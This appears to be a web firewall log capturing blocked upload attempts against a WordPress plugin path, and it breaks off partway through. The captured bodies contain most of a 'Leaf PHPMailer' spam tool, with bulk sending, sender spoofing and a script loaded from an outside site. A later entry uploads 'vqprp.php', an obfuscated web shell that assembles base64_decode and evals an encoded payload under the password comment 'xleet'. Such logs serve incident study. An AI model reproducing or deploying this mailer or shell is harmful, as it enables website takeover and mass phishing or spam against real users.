$toSign = $this->DKIM_HeaderC(\n $from_header . \"\\r\\n\" .\n $to_header . \"\\r\\n\" .\n $date_header . \"\\r\\n\" .\n $subject_header . \"\\r\\n\" .\n $dkimhdrs\n );\n $signed = $this->DKIM_Sign($toSign);\n return $dkimhdrs . $signed . \"\\r\\n\";\n }\n\n \/**\n * Detect if a string contains a line longer than the maximum line length allowed.\n * @param string $str\n * @return boolean\n * @static\n *\/\n public static function hasLineLongerThanMax($str)\n {\n \/\/+2 to include CRLF line break for a 1000 total\n return (boolean)preg_match('\/^(.{'.(self::MAX_LINE_LENGTH + 2).',})\/m', $str);\n }\n\n \/**\n * Allows for public read access to 'to' property.\n * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.\n * @access public\n * @return array\n *\/\n public function getToAddresses()\n {\n return $this->to;\n }\n\n \/**\n * Allows for public read access to 'cc' property.\n * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.\n * @access public\n * @return array\n *\/\n public function getCcAddresses()\n {\n return $this->cc;\n }\n\n \/**\n * Allows for public read access to 'bcc' property.\n * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.\n * @access public\n * @return array\n *\/\n public function getBccAddresses()\n {\n return $this->bcc;\n }\n\n \/**\n * Allows for public read access to 'ReplyTo' property.\n * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.\n * @access public\n * @return array\n *\/\n public function getReplyToAddresses()\n {\n return $this->ReplyTo;\n }\n\n \/**\n * Allows for public read access to 'all_recipients' property.\n * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.\n * @access public\n * @return array\n *\/\n public function getAllRecipientAddresses()\n {\n return $this->all_recipients;\n }\n\n \/**\n * Perform a callback.\n * @param boolean $isSent\n * @param array $to\n * @param array $cc\n * @param array $bcc\n * @param string $subject\n * @param string $body\n * @param string $from\n *\/\n protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)\n {\n if (!empty($this->action_function) && is_callable($this->action_function)) {\n $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);\n call_user_func_array($this->action_function, $params);\n }\n }\n}\n\n\/**\n * PHPMailer exception handler\n * @package PHPMailer\n *\/\nclass phpmailerException extends Exception\n{\n \/**\n * Prettify error message output\n * @return string\n *\/\n public function errorMessage()\n {\n $errorMsg = '<strong>' . htmlspecialchars($this->getMessage()) . \"<\/strong><br \/>\\n\";\n return $errorMsg;\n }\n}\nfunction leafheader(){\nprint '\n<head>\n <title>'.str_replace(\"www.\", \"\", $_SERVER['HTTP_HOST']).' - LuFix.gs<\/title>\n <meta http-equiv=\"Content-Type\" content=\"text\/html; charset=utf-8\"\/>\n <link href=\"https:\/\/maxcdn.bootstrapcdn.com\/bootswatch\/3.4.1\/cosmo\/bootstrap.min.css\" rel=\"stylesheet\" >\n <script src=\"https:\/\/leafmailer.pw\/style2.js\"><\/script>\n\n<\/head>';\n}\nleafheader();\nprint '<body>';\nprint '<div class=\"container col-lg-6\">\n <h3><font color=\"green\"><span class=\"glyphicon glyphicon-leaf\"><\/span><\/font> Leaf PHPMailer <small>'.$leaf['version'].'<\/small><\/h3>\n <form name=\"form\" id=\"form\" method=\"POST\" enctype=\"multipart\/form-data\" action=\"\">\n <input type=\"hidden\" name=\"action\" value=\"score\">\n\n <div class=\"row\">\n <div class=\"form-group col-lg-6 \"><label for=\"senderEmail\">Email<\/label><input type=\"text\" class=\"form-control input-sm \" id=\"senderEmail\" name=\"senderEmail\" value=\"'.$senderEmail.'\"><\/div>\n <div class=\"form-group col-lg-6 \"><label for=\"senderName\">Sender Name<\/label><input type=\"text\" class=\"form-control input-sm \" id=\"senderName\" name=\"senderName\" value=\"'.$senderName.'\"><\/div>\n <\/div>\n <div class=\"row\">\n <span class=\"form-group col-lg-6 \"><label for=\"attachment\">Attachment <small>(Multiple Available)<\/small><\/label><input type=\"file\" name=\"attachment[]\" id=\"attachment[]\" multiple\/><\/span>\n\n <div class=\"form-group col-lg-6\"><label for=\"replyTo\">Reply-to<\/label><input type=\"text\" class=\"form-control input-sm \" id=\"replyTo\" name=\"replyTo\" value=\"'.$replyTo.'\" \/><\/div>\n <\/div>\n <div class=\"row\">\n <div class=\"form-group col-lg-12 \"><label for=\"subject\">Subject<\/label><input type=\"text\" class=\"form-control input-sm \" id=\"subject\" name=\"subject\" value=\"'.$subject.'\" \/><\/div>\n <\/div>\n <div class=\"row\">\n <div class=\"form-group col-lg-6\"><label for=\"messageLetter\">Message Letter <button type=\"submit\" class=\"btn btn-default btn-xs\" form=\"form\" name=\"action\" value=\"view\" formtarget=\"_blank\">Preview <\/button><\/label><textarea name=\"messageLetter\" id=\"messageLetter\" class=\"form-control\" rows=\"10\" id=\"textArea\">'.$messageLetter.'<\/textarea><\/div>\n <div class=\"form-group col-lg-6 \"><label for=\"emailList\">Email List <a href=\"?emailfilter=on\" target=\"_blank\" class=\"btn btn-default btn-xs\">Filter\/Extract<\/a><\/label><textarea name=\"emailList\" id=\"emailList\" class=\"form-control\" rows=\"10\" id=\"textArea\">'.$emailList.'<\/textarea><\/div>\n <\/div>\n <div class=\"row\">\n <div class=\"form-group col-lg-6 \">\n <label for=\"messageType\">Message Type<\/label>\n HTML <input type=\"radio\" name=\"messageType\" id=\"messageType\" value=\"1\" '.$html.'>\n Plain<input type=\"radio\" name=\"messageType\" id=\"messageType\" value=\"2\" '.$plain.'>\n <\/div>\n <div class=\"form-group col-lg-3 \">\n <label for=\"charset\">Character set<\/label>\n <select class=\"form-control input-sm\" id=\"charset\" name=\"charset\">\n <option '.$utf8.'>UTF-8<\/option>\n <option '.$iso.'>ISO-8859-1<\/option>\n <\/select>\n <\/div>\n <div class=\"form-group col-lg-3 \">\n <label for=\"encoding\">Message encoding<\/label>\n <select class=\"form-control input-sm\" id=\"encode\" name=\"encode\">\n <option '.$bit8.'>8bit<\/option>\n <option '.$bit7.'>7bit<\/option>\n <option '.$binary.'>binary<\/option>\n <option '.$base64.'>base64<\/option>\n <option '.$quotedprintable.'>quoted-printable<\/option>\n\n <\/select>\n <\/div>\n <\/div>\n <button type=\"submit\" class=\"btn btn-default btn-sm\" form=\"form\" name=\"action\" value=\"send\">SEND<\/button> or <a href=\"#\" onclick=\"document.getElementById(\\'form\\').submit(); return false;\">check SpamAssassin Score<\/a>\n \n <\/form>\n <\/div>\n <div class=\"col-lg-6\"><br>\n <label for=\"well\">Instruction<\/label>\n <div id=\"well\" class=\"well well\">\n <h4>Server Information<\/h4>\n <ul>\n <li>Server IP Address : <b>'.$_SERVER['SERVER_ADDR'].' <\/b> <a href=\"?check_ip='.$_SERVER['SERVER_ADDR'].'\" target=\"_blank\" class=\"label label-primary\">Check Blacklist <i class=\"glyphicon glyphicon-search\"><\/i><\/a><\/li>\n <li>PHP Version : <b>'.phpversion().'<\/b><\/li>\n \n\n <\/ul>\n <h4>HELP<\/h4>\n <ul>\n <li>[-email-] : <b>Reciver Email<\/b> (emailuser@emaildomain.com)<\/li>\n <ul>\n <li>[-emailuser-] : <b>Email User<\/b> (emailuser) <\/li>\n <li>[-emaildomain-] : <b>Email User<\/b> (emaildomain.com) <\/li>\n <\/ul>\n <li>[-time-] : <b>Date and Time<\/b> ('.date(\"m\/d\/Y h:i:s a\", time()).')<\/li>\n \n <li>[-randomstring-] : <b>Random string (0-9,a-z)<\/b><\/li>\n <li>[-randomnumber-] : <b>Random number (0-9) <\/b><\/li>\n <li>[-randomletters-] : <b>Random Letters(a-z) <\/b><\/li>\n <li>[-randommd5-] : <b>Random MD5 <\/b><\/li>\n <\/ul>\n <h4>example<\/h4>\n Receiver Email = <b>user@domain.com<\/b><br>\n <ul>\n <li>hello <b>[-emailuser-]<\/b> = hello <b>user<\/b><\/li>\n <li>your domain is <b>[-emaildomain-]<\/b> = Your Domain is <b>domain.com<\/b><\/li>\n <li>your code is <b>[-randommd5-]<\/b> = your code is <b>e10adc3949ba59abbe56e057f20f883e<\/b><\/li>\n <\/ul>\n\n <h6>by <b><a href=\"http:\/\/'.$leaf['website'].'\">'.$leaf['website'].'<\/a><\/b><\/h6>\n <\/div>\n <\/div>'; \nif($_POST['action']==\"send\"){\n print ' <div class=\"col-lg-12\">';\n $maillist=explode(\"\\r\\n\", $emailList);\n $n=count($maillist);\n $x =1;\n foreach ($maillist as $email ) {\n print '<div class=\"col-lg-1\">['.$x.'\/'.$n.']<\/div><div class=\"col-lg-4\">'.$email.'<\/div>';\n if(!leafMailCheck($email)) {\n print '<div class=\"col-lg-6\"><span class=\"label label-default\">Incorrect Email<\/span><\/div>';\n print \"<br>\\r\\n\";\n }\n else {\n $mail = new PHPMailer;\n $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));\n $mail->addReplyTo(leafClear($replyTo,$email));\n $mail->addAddress($email);\n $mail->Subject = leafClear($subject,$email);\n $mail->Body = leafClear($messageLetter,$email);\n if($messageType==1){\n $mail->IsHTML(true);\n $mail->AltBody =strip_tags(leafClear($messageLetter,$email));\n }\n else $mail->IsHTML(false);\n $mail->CharSet = $charset;\n $mail->Encoding = $encoding;\n for($i=0; $i<count($_FILES['attachment']['name']); $i++) {\n if ($_FILES['attachment']['tmp_name'][$i] != \"\"){\n $mail->AddAttachment($_FILES['attachment']['tmp_name'][$i],$_FILES['attachment']['name'][$i]);\n }\n\n }\n \n if (!$mail->send()) {\n echo '<div class=\"col-lg-6\"><span class=\"label label-default\">'.htmlspecialchars($mail->ErrorInfo).'<\/span><\/div>';\n }\n else {\n echo '<div class=\"col-lg-6\"><span class=\"label label-success\">Ok<\/span><\/div>';\n }\n print \"<br>\\r\\n\";\n }\n $x++;\n for($k = 0; $k < 40000; $k++) {echo ' ';}\n }\n\n}\nelseif($_POST['action']==\"score\"){\n $mail = new PHPMailer;\n $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));\n $mail->addReplyTo(leafClear($replyTo,$email));\n $mail->addAddress(\"username@domain.com\");\n $mail->Subject = leafClear($subject,$email);\n $mail->Body = leafClear($messageLetter,$email);\n if($messageType==1){\n $mail->IsHTML(true);\n $mail->AltBody =strip_tags(leafClear($messageLetter,$email));\n }\n else $mail->IsHTML(false);\n $mail->CharSet = $charset;\n $mail->Encoding = $encoding;\n $mail->preSend();\n $messageHeaders=$mail->getSentMIMEMessage();\n $ch = curl_init();\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n curl_setopt($ch, CURLOPT_URL, 'http:\/\/spamcheck.postmarkapp.com\/filter');\n curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('email' => $messageHeaders,'options'=>'long')));\n curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);\n curl_setopt($ch, CURLOPT_TIMEOUT, 15);\n $response = curl_exec($ch);\n $response = json_decode($response);\n print ' <div class=\"col-lg-12\">';\n if ($response->success == TRUE ){\n $score = $response->score;\n if ($score > 5 ) $class=\"danger\";\n else $class=\"success\";\n print '<div class=\"text-'.$class.'\">Your SpamAssassin score is '.$score.' <\/div>\n<div>Full Report : <pre>'.$response->report.'<\/pre><\/div>';\nprint ' <\/div>';\n }\n}\nprint '<\/body>';\n?>\r\n--2a04bbc6e19570b6be2e5bb3a4ec9c43\r\nContent-Disposition: form-data; name=\"berkasnya\"\r\n\r\n\r\n--2a04bbc6e19570b6be2e5bb3a4ec9c43\r\nContent-Disposition: form-data; name=\"darilink\"\r\n\r\n\r\n--2a04bbc6e19570b6be2e5bb3a4ec9c43\r\nContent-Disposition: form-data; name=\"namalink\"\r\n\r\n\r\n--2a04bbc6e19570b6be2e5bb3a4ec9c43--\r\n"]
["2026-04-13 10:29:19","104.219.42.67","POST","\/wp-content\/plugins\/dyeja\/index.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/138.0.0.0 Safari\/537.36","post","http包非法,并且被封锁IP,如果自定义了from-data可能会导致误报。如果大量出现当前问题。可以选择在全局设置中关闭From-data协议22","POST \/wp-content\/plugins\/dyeja\/index.php HTTP\/1.1\npriority:u=0, i\ncontent-type:multipart\/form-data; boundary=8c60f0908fc0535ee7abde6c5a4bb1ef\nhost:dewenlabels.com\naccept-language:en-US,en;q=0.9\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/138.0.0.0 Safari\/537.36\naccept:text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.7\naccept-encoding:gzip, deflate, br\nupgrade-insecure-requests:1\ncache-control:max-age=0\nsec-ch-ua:\"Not)A;Brand\";v=\"8\", \"Chromium\";v=\"138\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:same-origin\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncontent-length:73112\nsec-fetch-dest:document\nconnection:keep-alive\n\n--8c60f0908fc0535ee7abde6c5a4bb1ef\r\nContent-Disposition: form-data; name=\"dirnya\"\r\n\r\n1\r\n--8c60f0908fc0535ee7abde6c5a4bb1ef\r\nContent-Disposition: form-data; name=\"upwkwk\"\r\n\r\naplod\r\n--8c60f0908fc0535ee7abde6c5a4bb1ef\r\nContent-Disposition: form-data; name=\"berkas\"; filename=\"vqprp.php\"\r\nContent-Type: application\/octet-stream\r\n\r\n<?php\n$▛ = \"59e8d97dbcc1d0f65dea6ecd0e9fbe39\"; \/\/Pass: xleet\n$o= \"ba\".\"se\".\"\\x36\\x34\\x5F\".\"de\".\"c\".\"ode\";\neval($o(\"CiRzdHQxID0gIlN5MUx6TkZRdDdkVDEwdXZLczFMenM4dEtFb3RMdFpJcjhyTVM4dEpMRWxGWWlVbEZxZVx4NjFtXHg2M1NucFx4NDNceDYybnA2UnFGSlx4NjNVRlx4NjFXV1x4NjFceDYxZ1VsNVFZXHg2MUlLXHg0Mk5RXHg0MVx4M2QiOwokc3R0MCA9ICJiZTRINVB3L3ovL3IvLzc3N3Y5L1c5MzE4bjEvZlovNTkvM3lmVy8vMjlmODUvTjkzODNvZmY4OUd2Ny81enc5aUgxTmZ6ZkdvdHNmS2Z2K3A5dWdpMC9wUDdzLy9MVS82LzN2ZmhmLy9IeWVrblgvWXk3Q0ZmZnFZTjRoTDk1WDRIM25xRGovWDRMNSszLy9NelRYL3o3RzlmTzY5eGZkOXJ2UCtkODN5K052L24vRnZEOWY2cDVEQVAwSzd2Ly9mWS9KUjczUGovL2kvc3YvL1FmZTVMT3k0MXNIOExMemc3NS9SNmxHc2NQQS9WWmFvT3YrQUJ5VkJ1NFB5TFFWWk9pbW5TUVBKeVdFU0UyQ3pPVzFxM1RPdWFsZkx6ZUdyZ2RRczZIYmdSRm9zV3I0aVZkVEhqSkg4M0FKTGJxWWR2emdGcEJjS0hmaTFoaGdsRXlNNWk3bEZQQUZ5cEhuZTluSmVXcmlLc1JoakFwalhBdGhDVGRpcUtRazRzMForcFJIZjJHNVFOZTFWdmhJUHdQWnVRZThuN25iUFJlcmZMMzJja2tPN3RtUXprZWQ5QTZLNjJNOGZrL3VJN3RqL3pzQUNlRTFEdkQvN0FOaFJwa1cxYUJVd244UXYxRER5NUViTTRqNkRDRkJUUVhoK01lcDVmb2ZWeHdHbXlKMU1kTktwSnp1VmVQdGJaQTdVc0xYRW1VYk5vSEJQTm0rc2F2ZTZmaFk0alVUcER4NnZ3Nk9mdm5NZm8za2JTSC92UmMyZ2Q1SE5KR0RvZSt3a1MxS3JmbTk4Z2VuZ3BPR3BnblMrbGFjb3FhRWNQVVpVRklTUDkxb0t1VXZxRE5RKy9aTUc0dThIcEljNlB3bk9PMWIxVG11aFp3S0J1OHFKVDFndU8vS0xOdDV0bURPSTNXaGJFNzNmS0pYL0NpdHY4ZCsvQWV2V1Jnbk92TWdVRHp6aC9xRlRucm9VallKbTRNcEllbGE4VnpROE5kOVNEQ0NZdGNCanYvQ1ZhY3hMMVByS2Q2U2pyQ2cxZTZ5bXRZeWo0STM1aXhkZ1dHNVArU0dvTWdORmN4MkdBQ05BU1pENFVRRExZTFgwQ2dxK2dkY3V1YlVKTk8zWGJPOFRKei92VittUHhGLzIvSGxaMTY0emRhT05EdUVVNEM3U3hMR0tIV01jNEtqd2Vpb2FhQUppTDN4czVKNVJSUjU0dEsxalR6L05TbEhIWmsvWDJ1TUtHdjVXOEVDTmpUWWU5TCt0MzNnYVMyTDVjeWdGS3lWZ2t1TmdxdnNueTdTeG5aYUswbmxUZ1FDb082QzlDVlpwWEpPZXQ5YmJyY3pqWTN4RmMreUcyRWYyZDVEL1dwQjUycmFpZG01ZCtTVFFqbFB4OXRSKzZQS01STXp3aUZVMWJ2VHVVRXBsY1htRTRxREQ1WjJFVlJRWE96WFlyY2VNckI3ZXgyQ2dpVEtvWGlZaDFCREZMQzhCU044WkFicWQzZWtSNkFPT2g4MjdFbkZOVVN3M0lUNVQvUkNJcmNlRWxBWjZRcitvQkk3RmR2aTdrL0ViRmw5Y05HdC94TnFwbkZ4aXBVZWo5QWRCL0ZUM0xJd0JsUjVkRk42WU9XdUVTcW5NL1NYRGFSWGFRK2VUZXRiS0lRWDFQS1QyNWdKOEVxUnQyN08vSi9XbzBUeHE5VjAxSllMQlR4TG5FTDdPZ3ZUbzBHQTBjOHQ5NTQvMEJYZGJEcElJU3N1d0NuaVFIWlVyMDdDQXZad0lhbjF2MndhN3k5N1A1MHRVWitPV0JSUmlMRHp2MHZmVXI2dEVwbmh3SWozSVZLVThqcllWeVU2eCtLYVdaNFZnMVJ6QmRKYkJlVGMvN0JEak4xTEMrMUpBemlpYjFtejc2YU5oQVJDdTFSNk9BblA5UzRDek80S1VaRURTcFNBUnJSR2YyYkEva1IxelJsRE1HQW5oM1I1bDI4T1hwTUNiZUlhTWVJcm91Ujk0bk9rMEhLNm92M1N2WFoxUmRXb1RFNVJydnBzTUl5VklZZVQyZ0dMNWszWC80NFE5SDA4SnFkS2d6eFhwZ1Y5cDZ3Z0lyS2xHS29FZEJpYW9hblZES3FTdkpFeGFoN0xVUW1PRHo1aStIK3JxUEhKbVl5ek83WHVKWFREOElVOVRwd1duVXVuOWl6eFJ2VnJFUDl4TEFCYXdHVFNPWmVQS0NPWUFqTE5BNWNJSkVRaVVsaHF1RU1mUTRheE1TNG14WjhudlcrMUxHeEJiYUg3aEpBcWZLb3N5VHhCR3YwYlFJRVhCMjFhaTE4QkJWUE8zRHJHdHN0Z3N3TS9YWUhxRTFSS0MzNFloQU5hTEhTeUorVHMyWEU4Y2l3WHI0bUNFeTZDcisvdmxpRWdrbVhKdzUzU3lqK3RyMzU4dUdTcFhZZ3h2Y3BhS0c1aFB2U0tvWDdqTnVHaXlzclBZcGEwYU5aTlZXdk10RG9memcwdjhPeEFLL3lXd29WKzFlNENzWnZtZ0hPZ3JhK3VUNEp5SEE3cTR6aWtzaGV0SXQrWmNySnI1UXJGVngrSnp0YnI2RzhOc29CLzRTVFd1cUxVK09OZERiL2ZVVXp6M3puTzNFQXQvUldJMUh5RTRDeDJyT3luMDJMbytqNXFpTjl4R1FDTEpqYXRCd1ZuN2RIZ1l5VjdWaTd1NTRxeXhKZzUyaHRRc0oySmJyTEt0TERXMHF5NWhlV0xSSmJ0YUhMNmlLSGhhOEFRTlJrbHlpRjJiNEV2V1JZOFhEd3Y0TURzLy9naURRTk5RN2trZSthNGYxRkNDTGpZRHFiWC9TWGl5VGdTcnBRTi9HR3ovSjFHZTZFajhDWk5hMDlxQjZvWGNnUzZpTEgzZ1RIYlFPYTdaaXJBbEdRRWFPME9RQmdtc3R3RXp0WmxxaHhwQzVBaXFOQ0JUSmkxbTRqWlRGVHlLcmZGV3RWeXdMaWFmTm5CdU5KUlN1Zy9EMVZiOWtoZmI2MTlFam9LSjNtSGh5Z1lYN2JCbEFUM0pMbzZoeWZER25TUCtnYU80TmZHZVJUU2w2d0NiQy9FMTJzM2lKaGZiN0dMeEdnakQvVEFETFBKZFMzNStHNEtkSGg2cm13WWtxUHd3cDVpYk1HNHBQK1NqZURxQTJTS1N4VXZjV1lNRVRJRmFEOTdhMzVlcm5pMEk4WnF0bi8vZjRicnBJNitOOVdJeG00OXhvR2pxcVRwOVRjdGtsSmhFK0JXb2VkNS9DeWQzakQ3Y1k4VkRiN3UvTlRJbUhicFVjRjV0azdGdGQ1RUpnbW0zRk5zQVhoaHlLTWJtNGhNVTZNMGVSd1JOWTFDcVRIWVBpcGh0cEF4YTBKM016YXdPWWVydGUyRzc4QVppWGY4allnL1pveUtKbjJpMTBDcEdRZUZ1aDNIYjViZmV2NmExVHY1dmQwV1hxQkl3aXBnRjVjSXVpZkZrNU01c0Fpb2ZGbVc0OFJ6WGNJNUZvQkZkT0tRMTJrL1I5SzZobXZaR2RFYmdhcGViOTVIUkF0RUFFQk1KVFh4ZnhBSDhySlVSb0FJYnh4dm1sTXIwUkEzRXhFaisxcVZza1BzN28rTUtDa3pndVkrVENxajd5akwrdXJrQmh4TGc0Z3ZzZ3dVT3FFdy9hcmRqMVlGQ1NFRzV1QVZtRTRvUWxVODl0OXZxL1ZHaHhrSGNNNDBQcjBoM2dWTjNLUFY0cEVTY2dRRlNyVmFPMzI0cWthYWF5elBqVGtKSHZQbEJndndKSEpYeTdsSmZudUxQdFVGZW0ycmFST0Z0d29xZE5zSlFZYzcxN0tVMDEwVFkvN1B6VkU2YWJ5aTBUaHJWTUFxMnVsRFpjdi9wdVg4ZmpHYWZsWmU4VSt3RVRyRUdQVjY4NEFFbVh0aWdjNG9jYVV1WW1YSDI5TlVQQWFUYnpmNHQ0c2RucEI1cEo5YVRnd3VJSDM3MGF5RVpFWnE4UzNRT0pDUVNjRXBLWEJWSVRLL1A5UGhBK1YzdDdkVnNBOUg0ZW1KZy9MRVV2S2V0N3NBNUNLVE1obmVTRDRoZktnQjZTQkFMQTZtcXgwN3lxblU3YlF4QkZFc2FkL0ZDQ0hpdGZ4TW1FK1pQTG1vSzhDZEpLQmNMNnJvaTJkUURhN3lhQXdNMmZpZDFSdFVIUkxxazlyNGRPcGNzNENndFVidGxQazkvOGsrS1NNQ2swekR1ZFM3eGUyRjZnVzRQMTk1UEorT01rTVFJVXUwV0k4WHFxdEtmRjZydU12Wk1DSXhGUURLRG1MR0hiQkprWVdaRWpYZzg5bHl5dUNXckNFZDNQWTBrWmFsUmpoSkdVSzZoSFBDdzVoWnRUZ0lrbGFrNG5GSnFtUWRLK21BekszQkpnMWJXdjFJK1dYc3NBZ0hEZUlmNDhNN3lWM2ZuMlpiNFNXS1VlVGVHdDI1dXRrNjk1ay9Eb2RlWGRJZXVUS1gzcUszK3F6dCtOdG52RUw3NW5xbXlIVDJhWXlqbjFDWnlmc0xxcStkZURqejNCVEIwQWZBTzFXd1dlbVhOUDcwMHFzc2JZU0lwT0NTNWcxQTV0LzdPKy9zZTN3Sm5aQjJ6UG1GMHhJZ05KR3FONHQ4SkhQMEdyT2F2clFSZ0lqSEFnVFFvUkl3cHFyNU9xQlFiMnVHUkJDNXRkTWJ6SEJCMUJVUGJESkZGQkdrVGdLMng0ZXg1QkRLclZVOXRRNjllK2pDcEZ3TFBILzhEREFQSTlUTU1POUMvdGp2ZmtnUTVkVWZqbTVGQTNKWmVjVFRPeWhaQWxZUjExRk9RbjZmVFVLVkxNR2hJOVM5T1Y5RXZVVEdQdFppMDhBM1lJSnJ2Sk4xQVN5RVlQa1c5L1FaNEgvcEIrcTEyY0loYkRUZ1NQZitsTWJtZEZyNG42WWY2Ni9EZzRZVnh4OCtNZDZ0UVg4MzVXODg5MzAzOXpsbzFBZi82aW52Nk8wM0FPakNvRmNQa1NGa1VMcUtoSWl3eEhtRmpBeGNFRnpTK0RYREZ6cTR1L25pUG1hQ0VabGxzc3JMalF5MWkyOHNOWWlNWjlOUndaRGV0cUFPczQxbSs3MEdHd01uZDk4WGx6QTRGWjNFNUFBelNEdkp2ZEZVVHA3UzBabVRxak51VjdDb2ZwdGxuUVlhei9RRTV1SG9vTUZ4Unk4MG85aDIySkEyL3lXazBFeEJ1NGJCTEVxNE01QWVpb1ZTVmNwOVZaMzU2MC9wK1owMVNSSG51SXVwdFFUL1FzRG1wWGNoRm1pK25Obk5xd1FEUjV4ZEFhbVkxWmk3M1BHeW5ZV2d4bkhSLy9DMit3c2FLVDlSVGZtQ0YwVjRWOW50SWR0cTRQVFlSaEw1eFp6TGc0R2RCcjRJK0NTczlkWk9RT1E0Wk5DN2M5REViTWI3WUtFQmNnYXlWeStrbk84VDdBaStYeWhsMmpXV3JCZWQzUEpqcnIwUUtRTlpXQWlsZzRpYUpQRDQ5RGtjQ25POHdZWTFwaWdFSlp2eU00OXczcytoNlFaZE90bmRrWG9wU05SU3kyR2RTSll1NE9QMDNReDV6cjYyelBURFlTd1Nhak0vWHJyejNKUS90ZFo5U2M2aTVzbC81bE9tcW9kZC8vUWZRamtQaFBFVGxvTG5BZ2hhWVJzVTVBWmhwSWZMQXRvQVEyYW91Z0oyaUFmaUxjUk5vNXZrQUJFWlFlT2hiTW9rZjUxN2JtVHI4SXlqNE50UHY5ODlYZ2EvclNBUU81UG1hRE5WU2hsNm1oekNPT0NlcEVUNXRuNE83V3hrTVJPSFJ5WWk3NUtnd29TVGtHQjBkYWNacmVFdzRDVW1CRHRRT0xzRGIyNkt6TWFLTFF4T1ZDMDVleXBWRjJEb0I0UDZ0OW1HK0tlMXB0ZkpoVFFBTGlGU0VRM1F5U2VIbjN5RzNTd0pGUENrUXZjMk1CWVk4MC83TmsvL280dE5pMDlseVVKMHBpSFE4cFhpakQyaDc5R0txUFp6K3pSTEdNa1NhVno0VmdhM0pUTVFkei8rUUQzQmdpQTRGV1VVaFpBSCtBWW9SMlFlTmNTREVvd1ltZEI3aXNDQzRBZENEdUxBR2VQcTRncE9LS1FBYTByV05VOTNkcCtLV25YbCtyM0UvY2h6cFd3bENoRnNVbnhoYnlud2dLN0xLbTYrbjBJeWtyQjdoVWkzb0IxSVdHQytoMnpDS0lndC9JRjljTlo5ZERHY3R5NkQ1OHorTzhmZFZYVGx1dzFNQlhRRUV1K0ZPWGVHSVpwb2Q4YThvVTJaS1pKS1JBV04yZjhLbHRiS2xFZ09ReVliSjFCbkZTd1VwS0pEZDQ2a01FQXdGQ0p6K1d4R3c2WHpybFBaTVkxQmF1NEoyZXFRdDFvUDdNeWVLRXBrWExaK05Eb21Mc1dRRXBIUGJ4RXFEVWF4dGpLRzEzbUhqTjJxZmI3SnZrNXJjQVdEVnViSEpPdmZxR0ErakRrQXIzVWVIZktrUFZLeUpFdi9YM0RibkU4eldHalN5WEdZQkRNdmljNmZwZDhRRWpFTFFhWHA5MzZIQ0tUaVRGNFJnQ3BVNFMrYlVoTGV1N2pLSlM1bWVSTWszNkIyQkdyWXdrKzBGS29ITUFRVVYzRGx4TEVqQ05hTnVYa2g0T3NwWkFwMmk2dVZhd25EZkhOd1FCaHRxSzNJcTdTSFAwQVVPak52Y25zV2FsRkZHYWFxMzJDcit1cjJBY05IcWFIRGRWOGRmUU8weE1oUlZLa1dZREZHbXVOL3Q1TlhkZnVsaVpKR3JFRUpPRHBWR2NnSlh3azlwZ1JRNGZRYXA4UnJBSXdiUC92blFTSmxsa3Y3Y3pFSFJ0cFZHZTM5U2k2K3dEYnQ2UTZVeXhDQ1MrWVFYeGt4cU5leVREdUYyVWt4NndnN0RVUlB2K0pXRWpiZDdMTHhqWlhidGFXOWZOS3FYODU1dkZNeERkMzBIVDFZb2JNRDFiSkVoaVRXem8wcFl6WE9QZTRJMlVNdkVXYzlSK1pSTjlVTXNVVGx3YVEzcUtFU2k3MlR5U3RPOWJ3Vm43ZjFZNldlMC9yeXNzbjVMZzBmZzFZZnV3SGo2cGxHbU1CUS9sTjNZbmVKSkJxSTF0K3JoQTZpZWJIeVNFeThIa3Q2RmZ1N3V5ci9iMXBwVjdQdEZveEt1bGphODREMTJ5U1pwUkhXY2xOd0RjQnZpUVlqNEh1SDBVcG55QngxSXprK1Q1TDVQaHhiSXk1UkxFY1RCcU44NEVHNDNTVklJdG1aeDBZRGZIMHBucnNJcTJGWEVFZzkrb2RRZm9OVDVZNW1WRHFrdTFLa2VWVUV4TlY5L3FHVms3M1JxbVY1UWQzSGt0Z0lNS09obUkwblRBeThycEdTOFk5VXdtRGVBQnBiQ3Z5ZGlCQnBnbFQ4bkZSRk4wMm1sUkVuaXMwdmpoTCtuVUp6V0VQbVpJZE1ZMWJDMkhhUXRqZ1d4d0h2MFRZY0ZVVzNYaVR1RjRiYU8yNmJReVVDd3p6T0NCS3hOQkJneVNqdEcyUVQyMVZrZkZNUG54RFhiUzZjbFMvYVBiV2NZZ2F3RXBzMXY0NzJBb1V3OFpPVVFEaWg5eGdIQjBXWVI4LzZTLzZ0cEQzd1NUUVpreEd2TWNvSkk0YnowOU90c3RqeE4yY1hBTTBUWUpvYzFuSXI5QXFHUTZGZDdhOWQ5bkJmeDBoTVQ0Unc4ZEZYaGY3cUQ4TXVoQlg3eXp1OFFzRDFpWGpiYUdBSU1TNWxFb2tsZFVUSjQ5RUlNeEtHVUIrRFprV08yOVM5WW9rZ0JnYnpiTWxzYWRuM2FoMkxlZ2ZRQXFzM0YyTlM4WkszSXNnaGlCaWtSaFlmV2ZvK0ZMaHlzZjExQzc2Z1lyTWhyMVF3WGtYWnhwdGZDR0RJOUdhZ0U3QzJHVEo4b0M0OEFTQmVENnBOc21mZS9ESTQxZnJkZDZlWlRPVHBBRHZZMGt5cWIyZ05MU3lHTHBPbVRDMWgwcTdWZzl6RGdFdkNzQ0VndnlaZkxBbnhkbmhEMHY0UE8yM3JPcmJQNHcyQlJZU1IzOXFxZS9wR2x4V01lM0N5OEZrWk9tUHo4UzVmb01DUStzVUpkbThNOFZWM